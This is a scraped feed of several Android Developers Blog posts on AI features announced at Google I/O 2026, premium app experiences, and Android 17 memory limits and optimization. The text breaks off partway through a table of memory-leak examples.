<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
<div class="separator">
  
  
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  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
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  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
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</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
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  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

<div>
  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
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  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s4209/MM_Differentiated-Experiences_Blog%20(1).png">
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<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

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<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

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<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
</div>

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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
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<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
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<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
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<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
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    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
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<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

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    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
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<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
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<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
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        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
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        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
